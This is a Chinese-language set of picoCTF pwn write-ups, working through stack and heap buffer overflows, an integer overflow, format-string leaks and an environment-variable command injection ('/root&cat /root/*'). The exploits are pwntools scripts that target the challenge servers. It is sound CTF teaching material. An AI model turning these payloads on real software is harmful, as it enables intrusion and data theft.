All-in-One PicoCTF Writeups: Pwn (Binary Exploitation)
All-in-One PicoCTF Writeups: Pwn (Binary Exploitation)
CX330前言
其實好像也沒什麼好講前言的,但就是不想要一開始就是題目分類,所以還是放了個前言 XD。
自己在刷 PicoCTF 的時候常常發現,幾乎所有的 writeup 都是英文的居多,所以想說來寫個完整一點的中文版!總之呢這裡就是會盡量彙整所有的 picoCTF 的題目在這邊(但是因為已經寫了 60 題左右才開始打算來寫 writeup,所以可能前面的部分會等其他都寫完再來補),如果有需要就可以直接來這邊看所有的 writeup,就這樣啦!希望能幫忙到你。
Local Target
這題給了一個可執行的檔案和 C 語言的代碼,先來分析一下他的代碼吧。
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if (num == 65)
{
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
當使用 Netcat 連線到題目的時候,會如同下面一般。
分析代碼
char input[16];
宣告了一個長度為 16 的字元陣列,儲存使用者輸入。gets(input);
獲取使用者輸入,由於gets
函數不檢查輸入的長度,使用者可以輸入超過 16 個字元。(危险函数 gets()几种完美的替代方法 你可能还不知道的)int num = 64;
宣告並初始化變數num
。- 拿到 flag 的條件是要讓 num 的值為 65。
這邊我們可以用 man gets
指令進入 gets 的 man 手冊頁,看一下他的 bug 區塊,了解 gets 到底危險在哪裡。
BOF 攻擊
首先,先檢查一下他有沒有任何保護機制。
他沒有 Canary 也沒有 PIE,就正常做 BOF 就可以了。
因為 input
和 num
都是區域變數,所以會存在 Stack 中。並且因為是先宣告 input
緊接著宣告 num
,所以在 Stack 中會像下面這樣:
High Address
|
|---------------------|
| Return Address | <-- top
|---------------------|
| Frame Pointer |
|---------------------|
| int num | <-- 4 Bytes
|---------------------|
| char input[16] | <-- 16 Bytes
|---------------------|
|
Low Address
最後試出來的 Payload 是 24 個字元加上一個大寫的 A(因為 ord(A) == 65
),但是在這裡我有點不理解為甚麼前面是 24 個填充,猜測是 input[16]
跟 num
中間有 Padding 之類的東西。如果有人知道的話再麻煩跟我解釋一下,感謝了!總之,還是拿到 Flag 啦。
picoCTF{l0c4l5_1n_5c0p3_fee8ef05}
VNE
這題先 SSH 連上去後發現題目有說給了一個叫做bin
的 binary 來執行 ls
命令。題目是這樣說的。
We’ve got a binary that can list directories as root, try it out !!
但當我們嘗試執行後會發現他說提示 Error: SECRET_DIR environment variable is not set,所以我們知道要去設置環境變數,原來這題目的名字 VNE 就是 ENV 的倒過來。
那先嘗試將他設置為提示說的 /root
目錄試試看。
export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
發現下面有個 flag.txt
,那我們要如何讀取到他呢?到這邊我們大概可以猜測,這題其實是一個 Command Injection 題。我猜測他背後的程式邏輯就是去執行類似於 ls $SECRET_DIR
之類的東西,所以把環境變數改為如下。
export SECRET_DIR="/root&cat /root/*"
改完後再去執行 ./bin
就出來了!
picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2}
buffer overflow 0
這題也是給了可執行文件和源代碼,先下載下來看看。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig)
{
printf("%s\n", flag); // 這裡會print出flag
fflush(stdout);
exit(1);
}
void vuln(char *input)
{
char buf2[16]; // 這裡是關鍵。函數的名稱vuln代表著vulnerability
strcpy(buf2, input);
}
int main(int argc, char **argv)
{
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE_MAX, f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler 當運行時出現Signal: SIGSEGV (Segmentation fault)時會調用sigsegv_handler函數
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
分析代碼
- Winning condition 是要觸發 Segmentation fault。
vuln
函式裡面的buf2
宣告為 16 個字元的大小,也就是 16 個 Bytes。- 當
gets
輸入的內容超過 16 個 Bytes 的時候,觸發錯誤。
這邊我們可以再來看一下除了 gets
以外的危險函式,也就是 strcpy
。(Buffer Overflow example - strcpy)
man 手冊裡面也寫了,程式設計師要負起責任,指派一個足夠大的空間給 strcpy 的 dst(Destination)。
BOF 攻擊
所以我們知道,在這裡只要輸入很長的字串,就會造成 strcpy
出錯,並得到 flag,那就來試試看吧!
picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}
buffer overflow 1
老樣子,一個 ELF 檔案,一個源碼。先看一下代碼。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win()
{
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f);
printf(buf);
}
void vuln()
{
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
看起來是個 ret2win 的題目,那就直接開始吧。先用 gdb 找一下 offset。
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/kali/picoCTF/vuln.1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
*EAX 0x41
*EBX 0x6161616a ('jaaa')
ECX 0x0
EDX 0x0
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0x8049350 (__libc_csu_init) ◂— endbr32
*EBP 0x6161616b ('kaaa')
*ESP 0xffffcfb0 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
*EIP 0x6161616c ('laaa')
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────
Invalid address 0x6161616c
────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcfb0 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│ 0xffffcfb4 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│ 0xffffcfb8 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│ 0xffffcfbc ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│ 0xffffcfc0 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│ 0xffffcfc4 ◂— 'raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│ 0xffffcfc8 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│ 0xffffcfcc ◂— 'taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► 0 0x6161616c
1 0x6161616d
2 0x6161616e
3 0x6161616f
4 0x61616170
5 0x61616171
6 0x61616172
7 0x61616173
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44
找到他的 offset 為 44 後再看一下 win()
的地址。
pwndbg> disass win
Dump of assembler code for function win:
0x080491f6 <+0>: endbr32
0x080491fa <+4>: push ebp
0x080491fb <+5>: mov ebp,esp
0x080491fd <+7>: push ebx
0x080491fe <+8>: sub esp,0x54
0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049206 <+16>: add ebx,0x2dfa
0x0804920c <+22>: sub esp,0x8
0x0804920f <+25>: lea eax,[ebx-0x1ff8]
0x08049215 <+31>: push eax
0x08049216 <+32>: lea eax,[ebx-0x1ff6]
0x0804921c <+38>: push eax
0x0804921d <+39>: call 0x80490c0 <fopen@plt>
0x08049222 <+44>: add esp,0x10
0x08049225 <+47>: mov DWORD PTR [ebp-0xc],eax
0x08049228 <+50>: cmp DWORD PTR [ebp-0xc],0x0
0x0804922c <+54>: jne 0x8049258 <win+98>
0x0804922e <+56>: sub esp,0x4
0x08049231 <+59>: lea eax,[ebx-0x1fed]
0x08049237 <+65>: push eax
0x08049238 <+66>: lea eax,[ebx-0x1fd8]
0x0804923e <+72>: push eax
0x0804923f <+73>: lea eax,[ebx-0x1fa3]
0x08049245 <+79>: push eax
0x08049246 <+80>: call 0x8049040 <printf@plt>
0x0804924b <+85>: add esp,0x10
0x0804924e <+88>: sub esp,0xc
0x08049251 <+91>: push 0x0
0x08049253 <+93>: call 0x8049090 <exit@plt>
0x08049258 <+98>: sub esp,0x4
0x0804925b <+101>: push DWORD PTR [ebp-0xc]
0x0804925e <+104>: push 0x40
0x08049260 <+106>: lea eax,[ebp-0x4c]
0x08049263 <+109>: push eax
0x08049264 <+110>: call 0x8049060 <fgets@plt>
0x08049269 <+115>: add esp,0x10
0x0804926c <+118>: sub esp,0xc
0x0804926f <+121>: lea eax,[ebp-0x4c]
0x08049272 <+124>: push eax
0x08049273 <+125>: call 0x8049040 <printf@plt>
0x08049278 <+130>: add esp,0x10
0x0804927b <+133>: nop
0x0804927c <+134>: mov ebx,DWORD PTR [ebp-0x4]
0x0804927f <+137>: leave
0x08049280 <+138>: ret
End of assembler dump.
找到了它的地址是 0x080491f6
。那就開始構造 Exploit 吧。
from pwn import *
r = remote("saturn.picoctf.net", 64447)
payload = b""
offset = 44
win_addr = 0x080491F6
payload += b"A" * offset
payload += p32(win_addr)
r.sendline(payload)
r.interactive()
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}
buffer overflow 2
和前兩題一樣,先看看代碼。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2)
{
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln()
{
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
這次和前面那題差不多,也是個 ret2win,但是它多了一個檢查條件,要判斷 arg1 和 arg2 的值是否為 0xCAFEF00D 和 0xF00DF00D,所以在構造 ROP Chain 的時候要記得把這兩個的值串接上去。接下來就開始編寫 Exploit 吧。
from pwn import *
r = remote("saturn.picoctf.net", 56229)
payload = b""
offset = 112
win_addr = 0x08049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
# p32(win_addr) is the return address for vuln() function
# p32(0) is the return address for win() function to make the program execute normally
payload += b"A" * offset + p32(win_addr) + p32(0) + p32(arg1) + p32(arg2)
r.sendline(payload)
r.interactive()
至於為甚麼中間要多加一個 p32(0),我直接寫在註解中了。
picoCTF{argum3nt5_4_d4yZ_3c04eab0}
two-sum
先看題目的代碼。
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
簡單來說就是要輸入兩個數字讓他相加後會 overflow。我們知道一個 Integer 的上限是,也就是 2147483647,所以讓這個數字再加上 1 就會 overflow,利用這個原理,我們直接用 Netcat 連接到題目,輸入 2147483647 和 1,獲得 Flag。
picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}
format string 0
先連接到題目,然後看一下題目長怎樣。
┌──(kali㉿kali)-[~]
└─$ nc mimas.picoctf.net 57925
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation:
我在測試題目漏洞的時候輸入了一堆 j,結果就直接得到 flag 了 XD。
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}
format string 1
來看看題目的 source code。
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
可以明顯地看到在第 36 行那邊的printf(buf)
是沒有加上格式化字符的,所以這邊有一個很明顯的 format string vulnerability。我們用 netcat 連接題目看看。
nc mimas.picoctf.net 53267
連上題目後發現他說 Give me your order and I’ll read it back to you,所以我們嘗試輸入%p
後發現他會輸出一個十六進位的東西。以下是題目的輸出。
Here's your order: 0x402118
Bye!
這看起來可以把它轉回字串,並且如果多輸入幾個%p
應該就能把 Flag 給 Leak 出來。我寫了一個 Exploit,去嘗試獲取 Flag。在腳本中之所以要把每一段十六進位轉回的字串前後翻轉,是因為題目剛剛有說"I’ll read it back to you",所以推測他應該是反著過來輸出的。Exploit 如下:
from pwn import *
from Crypto.Util.number import long_to_bytes
r = remote("mimas.picoctf.net", 53267)
payload = ",".join(["%p"] * 20)
print(payload)
r.sendline(payload)
r.recvuntil(b"Here's your order: ")
res = r.recvuntil(b"Bye!").decode().removesuffix("Bye!").split(",")
flag = ""
for i in res:
try:
flag += long_to_bytes(int(i, 16)).decode()[::-1]
except ValueError:
pass
print(flag)
果然,執行後就可以看到 Flag 啦。
picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}
heap 0
先把題目給的 source code 下載下來看看。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nWelcome to heap0!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
int rval = scanf("%d", &choice);
if (rval == EOF){
exit(0);
}
if (rval != 1) {
//printf("Invalid input. Please enter a valid choice.\n");
//fflush(stdout);
// Clear input buffer
//while (getchar() != '\n');
//continue;
exit(0);
}
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
發現他就是要想辦法去蓋掉一個叫做safe_var
的變數,所以我們先連接到題目看看吧。
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5d57314662b0 -> pico
+-------------+----------------+
[*] 0x5d57314662d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
連接到題目後,我們可以看見input_data
和safe_var
中間隔了 0x20 個 bytes(0x5d57314662d0 - 0x5d57314662b0),也就是十進位中的 32。這代表我們要寫入 33 個 bytes 到input_data
裡面,因為很簡單,就也不寫 Exploit 了直接手動輸入吧。
首先輸入 2,然後輸入 33 個字元。然後輸入完後再輸入 1 把 Heap 打印出來看看,就可以看到原本 bico 的地方被覆蓋掉了。覆蓋掉後再選 4 把 Flag 打印出來就好啦!
picoCTF{my_first_heap_overflow_1ad0e1a6}
heap 1
先看題目給的代碼。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nWelcome to heap1!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
要贏的條件是讓safe_var
等於"pico"(因為strcmp
相等的話回傳 0),所以和上一題基本上一樣,只要把輸入 32 個 bytes 後的東西換成 pico 就可以了。Payload 如下:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
這樣就得到 Flag 啦。
picoCTF{starting_to_get_the_hang_21306688}